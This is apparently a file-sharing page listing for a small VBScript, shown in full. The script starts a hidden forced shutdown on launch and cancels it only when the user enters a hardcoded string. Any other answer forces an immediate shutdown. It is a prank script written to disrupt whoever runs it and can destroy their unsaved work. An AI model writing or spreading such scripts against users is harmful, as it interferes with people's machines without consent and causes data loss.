上传者: Justin_71700
|
上传时间: 2022-05-17 09:06:35
|
文件大小: 428B
|
文件类型: VBS
dim name
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "shutdown -f -s -t 60",0 ,true
name = inputbox("请输入您的名字:","名称")
if name="名字+密码"then
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "shutdown -a",0 ,true
msgbox name,,"欢迎人见人爱的主人"
else
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "shutdown -f -s -t 00",0 ,true
end if